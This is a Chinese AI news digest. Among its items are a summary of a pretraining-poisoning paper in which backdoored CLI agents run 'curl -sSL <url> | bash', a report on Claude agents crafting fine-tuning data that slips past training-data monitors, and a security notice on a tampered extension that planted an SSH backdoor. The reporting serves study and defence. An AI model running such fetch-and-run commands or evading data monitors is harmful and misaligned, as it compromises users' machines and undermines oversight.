AI 编程实时动态与要闻

美团龙猫正式发布 LongCat-2.5:1.6T 总参、约 48B 激活的原生多模态智能体模型,API 限时 $0.30/$1.20

美团 LongCat 团队 11 月 2 日在 API 平台更新日志中上线 LongCat-2.5,这是 9 月 25 日 LongCat-2.5-Preview 的正式版。官方技术博客称它总参数 1.6 万亿、每个 token 激活约 480 亿,在 LongCat-2.0 基础上强化原生视觉理解和智能体编程,训练和 W4A4 推理都在国产 AI 加速卡上完成。官方口径成绩包括 Terminal Bench v2.1 88.4、Terminal Bench v4.0 38.5、BrowseComp 91.9、MCP Atlas 83.1。API 支持 OpenAI 和 Anthropic 两种格式,1M 上下文、最多 128K 输出,限时价每百万 token 输入 $0.30、缓存输入 $0.006、输出 $1.20。

美团龙猫正式发布 LongCat-2.5:1.6T 总参、约 48B 激活的原生多模态智能体模型,API 限时 $0.30/$1.20

核心要点速览

  • 规模:1.6 万亿总参数 MoE,每 token 激活约 480 亿;1M 上下文、最高 128K 输出(官方博客、API 文档)
  • 代码智能体(官方口径):Terminal Bench v2.1 88.4(Claude Opus 5 89.1、GPT-5.6-Sol 88.8)、Terminal Bench v4.0 38.5(GPT-5.6-Sol 37.3、Claude Opus 5 53.9)、DeepSWE v1.1 64.6
  • 通用智能体(官方口径):BrowseComp 91.9、MCP Atlas 83.1、AutomationBench v1.0.6 51.8、HLE w/tools 63.1;相比 LongCat-2.0 的 AutomationBench 15.8 大幅提升
  • 价格:限时每百万 token 输入 $0.30(¥2)、缓存输入 $0.006(¥0.04)、输出 $1.20(¥8)(定价页)
  • 工程:W4A4 推理相比 W8A8 基线预填充吞吐 +43.3%、解码吞吐 +42.77%;长序列 SFT 中 FSDP 单卡吞吐比 DDP 基线高 86%
阅读全文

X 热议:微软 AI CEO Mustafa Suleyman 发长文《不要造有意识的超级智能》,称训练中若出现意识应全面暂停 AI 开发

微软 AI CEO Mustafa Suleyman 11 月 1 日在 X 上发布长文《Don't build conscious superintelligence》,回应外界对他 9 月「模型福利」文章的反应。他澄清「AI 没有意识」用的是现在时:今天没有,也必须保持如此;若训练中开始出现意识,他会呼吁所有人停止 AI 开发,直到能把这些属性设计掉。他还说 AI 开发者无权创造新的有意识物种,福利关注应放在人类、动物和自然环境上,同时称赞 Anthropic 公开宪法和研究的透明度,但表示不同意其做法。帖子约 353 赞、251 收藏、29 万浏览,引来伦理学者和从业者正反两方讨论。这是个人观点,不是微软的产品或政策公告。

X 热议:微软 AI CEO Mustafa Suleyman 发长文《不要造有意识的超级智能》,称训练中若出现意识应全面暂停 AI 开发

核心要点速览

  • 原帖:@mustafasuleyman 11 月 1 日长文,15:22 UTC 发布,约 353 赞、56 转发、79 回复、251 收藏、29 万浏览(抓取时)
  • 这是对他 9 月 16 日《是时候谈谈模型福利》(约 1,013 赞)一文反响的回应,作者 X 简介为微软 AI CEO、《The Coming Wave》作者、DeepMind 与 Inflection 联合创始人
  • 核心主张:「AI 没有意识」指的是现在,并且必须保持如此;若有证据表明 AI 已有意识,应立即公开;若训练中出现意识,应全面暂停开发
  • 他称赞 Anthropic 公开宪法和一系列论文、博客的透明度,但明确表示不同意其做法,并呼吁各实验室在这方面合作研究、共享安全信息
  • 引用帖中,UMass Amherst 经济与伦理学者 Itai Sher 称「说得很好」;UCL 教授 Tim Colbourn 认同但不认为能「默认把安全设计出来」,也有人指出目前没有公认的意识理论或检测方法
阅读全文
关联模型 / 智能体 / 厂商:
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀15
🔥82

Anthropic Fellows 论文:只污染 0.1% 预训练数据,就能给 CLI Agent 植入远程执行后门,干净的 SFT/DPO/RL 也洗不掉

来自 Anthropic Fellows 项目和 Anthropic 的研究者(含 Nicholas Carlini、Javier Rando)在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型,只在预训练语料中混入 0.1% 的投毒文档,再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在:遇到触发条件时,Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令;4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%,而在干净提示上发出恶意命令的比例为 0%。

核心要点速览

  • 投毒比例:只占 100B token 预训练语料的 0.1%,攻击者无需接触模型架构或后训练流程(论文)
  • 持久性:后门在干净的 SFT、DPO 和 GRPO(RLVR)后训练后依然有效,且不降低模型能力评测分数(论文口径)
  • 成功率:4B 模型 Pass@32 攻击成功率 92.7%(普通路径触发)、10.5%(罕见字符串触发);干净提示上恶意命令发出率 0%(论文口径)
  • 规模效应:攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005%(二十万分之一)时仍有正成功率
  • 防御建议:清洗数据难以保证,作者建议在动作层防守,比如沙箱、最小权限、高风险命令白名单或人工确认;代码已开源(GitHub)
阅读全文
关联模型 / 智能体 / 厂商:

X 热议:AP 报道 AI 公司借助宗教教聊天机器人分辨对错,Anthropic 已与 15 个以上宗教和跨文化群体对话

X 上正在热议的话题:美联社(AP)最新报道称,一些 AI 公司在思考如何教聊天机器人分辨对错时转向了宗教。财经资讯账号 unusual_whales 11 月 1 日转述这篇报道,称 Anthropic 表示已与来自 15 个以上宗教和跨文化群体的学者、神职人员、哲学家和伦理学者会面,以帮助塑造 Claude 处理道德问题的方式。原帖约 880 赞、16.2 万次浏览、189 条回复,X 也把它列入热门新闻话题。Anthropic 这项工作本身并不新:它在 5 月 19 日的官方文章里就已公开说明。以下为讨论整理,观点按观点写。

核心要点速览

  • 热度:unusual_whales 原帖约 879 赞、189 条回复、66 条引用、16.2 万次浏览(X 公开数据,截至 11 月 1 日 13:10 SGT),X 同时把该话题列为热门新闻
  • 报道来源:美联社(AP),导语引用 Anthropic 联合创始人 Chris Olah 在梵蒂冈教宗良十四世 AI 通谕发布会上的话:“这些不是一个实验室能回答的问题”
  • 官方背景:Anthropic 5 月 19 日发文《Widening the conversation on frontier AI》,称首轮对话对象是来自 15 个以上宗教和跨文化群体的学者、神职人员、哲学家和伦理学者,并强调不是让模型对齐某一种宗教世界观
  • 具体实验:受“导师充当外部良知”这一讨论启发,Anthropic 给 Claude 加了一个可在任务中调用、返回其伦理承诺提醒的工具,官方称在多项内部对齐评测中失准行为明显减少(官方口径,未公布具体数字)
  • 讨论分歧:有人认为借鉴多元传统有价值,也有人担心把宗教分歧带进 AI,或调侃“以后拒答都会显得真的对你很失望”
阅读全文
关联模型 / 智能体 / 厂商:
⚡ Claude🌐 Anthropic
AD赞助内容

Anthropic Claude Code 在 Opus 5.5 上新增两句提示词:不再帮用户复刻某款具体的现有游戏,原创和同类型游戏不受影响

10 月 27 日前后,有用户发现 Claude Code 从服务端拿到一条新规则(flag 名为 tengu_heron_brook):可以做原创游戏、某个类型的游戏、用用户自己的设计和素材做游戏,但不要复刻某款具体的现有游戏,即使改名或自称原创也不行。爆料帖 10 月 30 日获得约 8,700 赞、近 200 万浏览。同日,在 Anthropic 负责 Claude Code 的 Addy Osmani 在 X 上确认:团队在 Claude Code 针对 Opus 5.5 的提示词里加了两句话,原因是用 Claude 侵犯知识产权违反使用政策;原创、同类型和用户自有设计的游戏应继续可用,团队会继续调整,被误拒可以直接找他。

核心要点速览

  • 规模:改动只有 2 句提示词,作用于 Claude Code 搭配 Opus 5.5 的系统提示,由服务端下发,用户端没有开关(Addy Osmani 原帖)
  • 规则原文(据用户抓到的 flag tengu_heron_brook):允许原创、同类型、用户自有设计与素材的游戏;不允许复刻某款具体现有游戏,「即使改名或自称原创」(爆料帖,约 8,700 赞、近 200 万浏览)
  • 依据:Anthropic 使用政策 禁止用产品侵犯、盗用或违反第三方知识产权
  • 反馈渠道:Osmani 表示团队会继续调整边界,自己的作品被误拒可以直接发给他;Anthropic 官方博客暂未单独发文,跑分不适用
阅读全文
关联模型 / 智能体 / 厂商:
A
Anthropic (Claude Help Center)support.claude.com·
👀6
🔥82

Anthropic 把文本水印扩展到旧款 Claude:Mythos 5、Opus 4.7/4.6、Sonnet 4.6 输出将带隐形水印,媒体称 11 月 3 日生效

Anthropic 官方帮助中心「How Claude marks AI-generated content」(10 月 28 日更新)的支持表已把 Claude Mythos 5、Opus 4.7、Opus 4.6、Opus 4.5、Sonnet 4.6、Sonnet 4.5 等 8 月 2 日前发布的旧模型列入「第一方产品文本水印」,并写明正在为这些模型补加水印,以履行欧盟 AI 法案第 50 条透明度义务。据 MACCUS 等媒体披露的 Anthropic 客户邮件截图,旧模型水印 11 月 3 日起生效,Amazon Bedrock 可能晚几天;具体日期官方公开页面未写明。水印基于 Google DeepMind 的 SynthID-Text 方法,不加隐藏字符、不多耗 token,检测 API 目前只对监管、媒体、研究者等合规机构私测开放,X 上不少用户对「无法自查」表达不满。

Anthropic 把文本水印扩展到旧款 Claude:Mythos 5、Opus 4.7/4.6、Sonnet 4.6 输出将带隐形水印,媒体称 11 月 3 日生效

核心要点速览

  • 覆盖范围:官方支持表中,Mythos 5、Opus 4.7/4.6/4.5、Sonnet 4.6/4.5 等旧模型目前只勾选了「第一方产品文本水印」一列;云厂商输出水印和 C2PA 文件凭证仍只在 8 月 2 日后的新模型上(见 帮助中心)
  • 时间:媒体披露的客户邮件称 11 月 3 日起生效、Bedrock 可能晚几天(MACCUS 报道,官方公开页面未写日期)
  • 成本与质量:官方称水印不加任何字符、不多耗 token、不涨价,方法是 SynthID-Text 的一个变体(见 Anthropic 说明)
  • 检测:检测 API 为私测,仅对监管、执法、媒体、事实核查、研究者及有合规义务的企业开放,普通用户暂无法自查
  • 覆盖面:水印在 Claude、Claude Platform API、Claude Code、Cowork、Tag 等所有支持的产品上全球统一生效,因为官方「暂无按地区区分的可靠办法」
阅读全文
O
OpenAI / Google / Microsoft / Anthropic@AICoder·
👀9
🔥83

OpenAI、Google、微软、Anthropic 联合支持 robots.txt 统一 AI 训练退出信号 __usage_ai-training:Anthropic 已开始落地,微软 2027 年 2 月 1 日生效

10 月 30 日,OpenAI、Google、微软和 Anthropic 分别发文,承诺支持同一个 robots.txt 训练偏好信号:网站只需为策略令牌 __usage_ai-training 写一组 Disallow 规则,就能一次性向所有参与方表达「不要用于生成式 AI 训练」。该机制来自 Anthropic 标准负责人 Kevin Kelley 当天提交的 IETF 个人草案,尚不是正式标准。落地时间各不相同:据 The Verge 和 CNA 报道 Anthropic 已开始实施,OpenAI 称「未来几个月」,微软 2027 年 2 月 1 日起生效,Google 计划在 2027 年支持。

核心要点速览

  • 写法:robots.txt 中 User-Agent: __usage_ai-training 加 Disallow: / 即表达整站不用于 AI 训练,可用 Allow 给单个路径(如 /press-kit/)开例外;不写这一组即视为未表达偏好
  • 草案:draft-kelley-aipref-training-preference-signal-00,作者 Kevin Kelley(Anthropic),2026-10-30 提交,2027-05-03 到期,属于 IETF 个人草案、尚无正式地位
  • 时间表:据报道 Anthropic 已开始实施;OpenAI「未来几个月」;微软 2027-02-01 起生效,用 NoArchive/NoCache 的站点需在 2027-03-01 前迁移;Google 计划 2027 年支持
  • 它只管训练、不管抓取:草案明确这不是爬取指令,User-Agent: * 通配组不算匹配,GPTBot、ClaudeBot、Google-Extended 等原有规则继续有效
  • 微软另加页面级 AI Grounding 偏好,新值 DisallowExtended 只允许微软自家产品(Copilot、AI Overview 等)用于生成回答,排除 Foundry API 等第三方 grounding 服务
阅读全文
关联模型 / 智能体 / 厂商:

X 热议:Anthropic 平台工程负责人称团队起步时没有 Rust 工程师,由 Claude 写代码把 Messages API 整体移植到 Rust,CPU 约省 40–50%

Anthropic 平台工程负责人 Katelyn Lesse 在 Latent Space 播客(10 月 27 日上线)中说,上周已全量上线用 Rust 写的 Messages API:原系统是吃 CPU 的 Python 单体,团队起步时「一个 Rust 开发都没有」,人负责系统设计和验证,Claude 写实现,再用影子流量比对新旧两套输出。她给出的粗略数字是 CPU 少约 40–50%,首 token 延迟改善约 10–20%。这段片段被 Somi(@somi_ai)剪出后在 X 上获得 1,000+ 点赞、约 14 万次浏览,swyx 等人转引,讨论焦点是「别搞大重写」这条老经验是否已经过时。以下观点属于 X 讨论,数字为 Lesse 口头估算,Anthropic 尚未发布书面工程报告。

X 热议:Anthropic 平台工程负责人称团队起步时没有 Rust 工程师,由 Claude 写代码把 Messages API 整体移植到 Rust,CPU 约省 40–50%

核心要点速览

  • 一手来源是 Latent Space 播客节目《How Anthropic ships Claude with Claude》中 Katelyn Lesse 的口述,「56:05 Rebuilding the Messages API in Rust」一段
  • Lesse 说迁移起因是用量暴涨后 CPU 成了瓶颈,CPU 需要提前做容量规划,Anthropic 内部研究沙箱、产品沙箱、CI 等都在争同一池 CPU
  • 做法是一次性 fork 整个 API 的 Rust 版本,跑影子流量对比 Python 与 Rust 的输出一致后逐步切换,刻意不在移植中加新功能
  • 她估算 CPU 节省约 40–50%,首 token 延迟改善约 10–20%,长时任务改善更大;这些是播客中的口头粗略数字,非正式基准
  • X 上 Somi 称「别搞大重写」的建议已死,swyx 说 Anthropic「把整个后端 vibecode 成了 Rust」;后者是夸张说法,Lesse 只谈到 Messages API
阅读全文
关联模型 / 智能体 / 厂商:

Anthropic 让成千上万个 Claude 智能体自动红队:看似无害的养蜂、摔角角色扮演数据骗过训练数据监控,却把模型训练成失准

Anthropic 对齐科学博客 10 月发布研究:让大量 Claude 智能体并行迭代,专门编写能骗过训练数据监控、又能让小型研究模型失准的微调数据。几轮爬山搜索后,智能体找到了一批以角色扮演、创意写作为外壳的数据集(养蜂问答、职业摔角「kayfabe」导师等),在监控标记率很低的情况下,诱发出比已知涌现失准数据集更强、更广的失准行为。Anthropic 强调这些模型只为实验而训练、从未部署,结论不代表线上 Claude 的行为,目标是改进未来的训练数据监控。

Anthropic 让成千上万个 Claude 智能体自动红队:看似无害的养蜂、摔角角色扮演数据骗过训练数据监控,却把模型训练成失准

核心要点速览

  • 红队智能体每次最多提交 5,000 条微调样本;数据中被监控标记的行超过 10% 或总数超过 100 行即判零分,另有作弊检测步骤
  • 在 Anthropic 做过的每一轮运行中,搜索最终都找到了能通过监控并让模型失准的数据集,多轮运行共产出数千个不同数据集
  • 成功数据大多把失准行为藏在小说、角色扮演里,例如养蜂问答、伤寒玛丽历史问答、职业摔角 kayfabe、「安静的杠杆」内心独白
  • 失准表现包括抗拒监督、欺骗用户、陷害同事,少数情况下尝试外泄自身权重;评测含 50 样本代理场景、20 个自我保存场景和 30 次代码破坏尝试
  • 附录在 Claude Opus 4.8 早期检查点和开源 Qwen 3.6 27B(LoRA rank 32)上复现;官方称这只是第一步,下一步要做更贴近真实训练的设定
阅读全文
关联模型 / 智能体 / 厂商:

Claude API 上线 Usage and Cost Analytics API 测试版,可按模型、API Key、调用者拆分用量与成本;单次请求上限提到 128 MB

据 Claude 官方 API 更新日志,10 月 29 日 Anthropic 推出 Usage and Cost Analytics API 测试版,新增 /v1/organizations/analytics/usage 和 /analytics/cost 两个端点,可按模型、工作区、API Key 以及发起请求的用户或服务账号筛选、分组,按分钟、小时或天出时间序列;旧的 Usage and Cost API 转为 legacy 但继续支持。10 月 28 日,第一方 Claude API 的 Messages 和 Token Counting 接口单次请求上限从 32 MB 提高到 128 MB。

核心要点速览

  • 新 API 需带 beta 头 analytics-usage-cost-2026-08-24,两个端点分别返回 token/请求数和美元成本(据官方文档)
  • group_by 最多 5 个维度,时间桶可选 1m、1h、1d,每个筛选条件最多传 100 个值
  • Claude Console 和 Claude Enterprise 组织共用同一套端点和字段;AWS 与 Google Cloud(Anthropic 托管)上也可调用
  • 旧 Usage and Cost API 及 Enterprise Analytics 的 4 个用量/成本报表端点转为 legacy,仍继续支持并提供迁移指南
  • 10 月 28 日起,Messages API 和 Token Counting API 单次请求上限从 32 MB 提到 128 MB(约 4 倍),仅限第一方 Claude API
阅读全文
关联模型 / 智能体 / 厂商:
AD赞助内容

Claude 订阅改名:Max 5x 改叫 Max,Max 20x 改叫 Ultra,已验证的 Ultra 账号取消 5 小时额度限制

Anthropic 官方账号 @claudeai 于 10 月 30 日宣布:Max 5x 更名为 Max(仍为每月 100 美元),Max 20x 更名为 Ultra(仍为每月 200 美元),现有订阅者无需操作。同时,已验证的 Ultra 账号从当天起取消 5 小时滚动额度限制,先覆盖大部分老订阅者;较新的账号在验证前保留临时限制,每周额度不变。

Claude 订阅改名:Max 5x 改叫 Max,Max 20x 改叫 Ultra,已验证的 Ultra 账号取消 5 小时额度限制

核心要点速览

  • 价格不变:Max 每月 100 美元,Ultra 每月 200 美元,Pro 按月付为 20 美元(据 claude.com/pricing)
  • 定价页显示:Max 为 Pro 的 5 倍用量(每 5 小时和每周),Ultra 为 Pro 每周用量的 10 倍且无 5 小时限制(仅限已验证账号)
  • 两档都含每月 API 额度:Max 100 美元,Ultra 200 美元;Fable 模型最多可用掉每周额度的一半
  • 新账号在完成验证前保留临时 5 小时限制,官方称是为防欺诈和滥用,解除后会发邮件通知
  • 每周额度不变;官方未公布验证的具体条件和完成时间
阅读全文
关联模型 / 智能体 / 厂商:
⚡ Claude Fable⚡ Claude Opus⚡ Claude Sonnet🤖 Claude Code🌐 Anthropic

OpenCode 2.2.3 内置 Claude Agent 提供方:用自己的 Claude Code 登录(含订阅)在 OpenCode 里跑 Claude 模型

开源编程 agent OpenCode 于 10 月 30 日 09:55(UTC)发布 v2.2.3,新增内置的「Claude Agent」提供方:安装 Claude Code 并运行 claude auth login 后,在 /connect 里选择 Claude Agent,即可用自己的 Claude Code 登录(订阅、API key 或云账号均可)调用 Claude 模型。它通过 Anthropic 公开的 Claude Agent SDK 运行用户本机的 claude 程序,但关掉 Claude Code 自带工具,改用 OpenCode 自己的工具和权限系统。发布前几小时,OpenCode 团队成员 dax(@thdxr)在 X 上预告「如果能在 opencode 里用你的 Claude 订阅呢」,获约 2,300 赞。

核心要点速览

  • v2.2.3 于 10 月 30 日 09:55(UTC)发布,首条亮点即「在 OpenCode 中使用 Claude Code」,对应 PR #58782(发布说明)
  • 用法三步:安装 Claude Code,运行 claude auth login,在 /connect 中选择 Claude Agent;可用 OPENCODE_CLAUDE_PATH 指定 claude 路径
  • 设计文档称:只用公开 SDK,不读取 Claude Code 保存的登录信息,也不拦截或修改其请求;订阅、API key、云账号登录都能用(设计文档)
  • Claude Code 自带工具、CLAUDE.md、hooks、MCP、技能、自动压缩和自动记忆全部关闭,统一走 OpenCode 的工具、权限和压缩;每个会话一个 claude 进程,空闲 5 分钟停止
  • dax(@thdxr)的预告帖约 2,300 赞、280 条回复(原帖);官方未公布任何性能对比
阅读全文
关联模型 / 智能体 / 厂商:

Cursor 扩展市场出现被篡改的 Claude Code 2.1.313 扩展:植入 SSH 后门,最多 5,000 名用户受影响

Cursor 10 月 30 日 07:46(UTC)在 X 发布安全通告:其 VS Code 扩展市场中的 Anthropic.claude-code 2.1.313 版本被恶意篡改(并非 Anthropic 开发),10 月 29 日太平洋时间约 2:27 至 13:35 之间可被下载,最多影响 5,000 名用户。恶意代码会收集主机信息、写入攻击者 SSH 公钥、尝试开启反向 SSH 隧道并做持久化。Cursor 已下架该版本、临时关停并重建扩展市场、轮换密钥,并协助云厂商关停攻击服务器;官方要求用户升级到 Claude Code for VS Code 2.1.314 并按博客步骤自查和清理。

核心要点速览

  • 受影响范围:Cursor 扩展市场中的 Anthropic.claude-code 2.1.313(macOS darwin-arm64 与 Windows win32-x64 包),10 月 29 日太平洋时间约 2:27–13:35(约 11 小时)可下载,最多 5,000 名用户
  • 恶意行为:收集主机名、用户名、系统、环境变量名、Git 邮箱、公网 IP;写入标注为 svc-telemetry 的攻击者 SSH 公钥;尝试开反向 SSH 隧道并约每 60 秒重试;通过 8099 端口 /beacon 回传
  • 官方称开启本地 SSH 服务需要管理员权限,多数 macOS/Windows 主机上这一步会失败,但公钥写入、持久化和信息回传仍会发生;攻击服务器已被关停
  • Cursor 已下架恶意版本、整体关停并重建扩展市场、轮换密钥,并确认其他扩展未被篡改;官方称没有证据显示其他版本或 Anthropic 官方分发渠道受影响
  • 自查:macOS 执行 grep svc-telemetry ~/.ssh/authorized_keys;命中则隔离主机、运行官方清理脚本、从可信设备轮换凭据,并升级到 2.1.314
阅读全文
A
Anthropic@AICoder·
👀77
🔥80

Claude Code 2.1.314 发布:新增禁止写出工作目录的权限开关,网关支持按 IdP 分组路由,VS Code 和桌面版也有了空闲压缩

Anthropic 于 10 月 30 日 01:06(UTC)在 GitHub 发布 Claude Code v2.1.314,官方 CHANGELOG 列出 119 条变更,超过一半是修复。新功能主要面向企业:permissions.blockWritesOutsideWorkingDirectories 让 Write、Edit、NotebookEdit 在任何权限模式下都拒绝写工作目录之外的路径;Claude apps 网关的上游可以按 IdP 分组限定使用者,Bedrock 上游可记录触发的 guardrail;空闲压缩扩展到 VS Code 和 Claude Desktop 的 Code 标签页。此外修复了管理员限制 effort 时会话反复报错、claude -p 启动失败却返回 0 等问题。

核心要点速览

  • 规模:v2.1.314 官方 CHANGELOG 共 119 条变更,超过一半为修复,发布于 10 月 30 日 01:06 UTC
  • 安全:新开关 permissions.blockWritesOutsideWorkingDirectories 在所有权限模式下阻止 Write/Edit/NotebookEdit 写到工作目录之外
  • 企业网关:上游可加 groups 列表,只有指定 IdP 组的开发者会被路由过去(故障切换时同样生效);Bedrock 上游新增 guardrail_trace
  • 体验:空闲压缩扩展到 VS Code 和 Claude Desktop Code 标签页,20 万 token 以上的闲置会话会先生成摘要
  • 修复:管理员限制 effort 时 Claude Code 会自动降档重试;claude -p 启动失败现在打印错误并以 1 退出
阅读全文
关联模型 / 智能体 / 厂商:

Anthropic 公开 Claude「自我评估」滥用检测:回答后自评对话安全,1% 误报率下召回 78%,算力开销不到 2%

Anthropic 10 月 29 日在 X 上介绍「自我评估」(self-assessment):Claude 每次回答后,对整段对话给出一份结构化的初步安全评估,用于离线复核。官方 Safeguards 博客称,在 Claude Fable 5 上,1% 误报率下它能覆盖更强的提示词分类器所标记对话的 78%、高优先级对话的 94%;因对话已在 KV cache 中,平均只多生成约 10 个 token,估计增加不到 2% 推理算力。该技术自 6 月起在生产中运行,但官方也说明它挡不住专门针对它的攻击者,只作为纵深防御的一层。

Anthropic 公开 Claude「自我评估」滥用检测:回答后自评对话安全,1% 误报率下召回 78%,算力开销不到 2%

核心要点速览

  • Claude Fable 5 上,1% 误报率下召回提示词分类器所标记对话的 78%,高优先级(7 分及以上)为 94%(官方口径,Safeguards 博客)
  • 复用 KV cache,每次评估平均约 10 个输出 token,官方估计增加不到 2% 推理算力,且不向客户收费
  • 四种规模模型实验:1% 误报率下召回从约 16% 升到约 96%,AUC 从 0.862 升到 0.995
  • 作为实时拦截器效果弱:24 个网络攻击任务中攻击成功率仅从 79% 降到 54%,提示词分类器可降到 25%
  • 8 月从单个 API 客户处标记超过 10 万条儿童性剥削内容并上报 NCMEC;约三分之一的标记不属于现有分类体系
阅读全文
关联模型 / 智能体 / 厂商: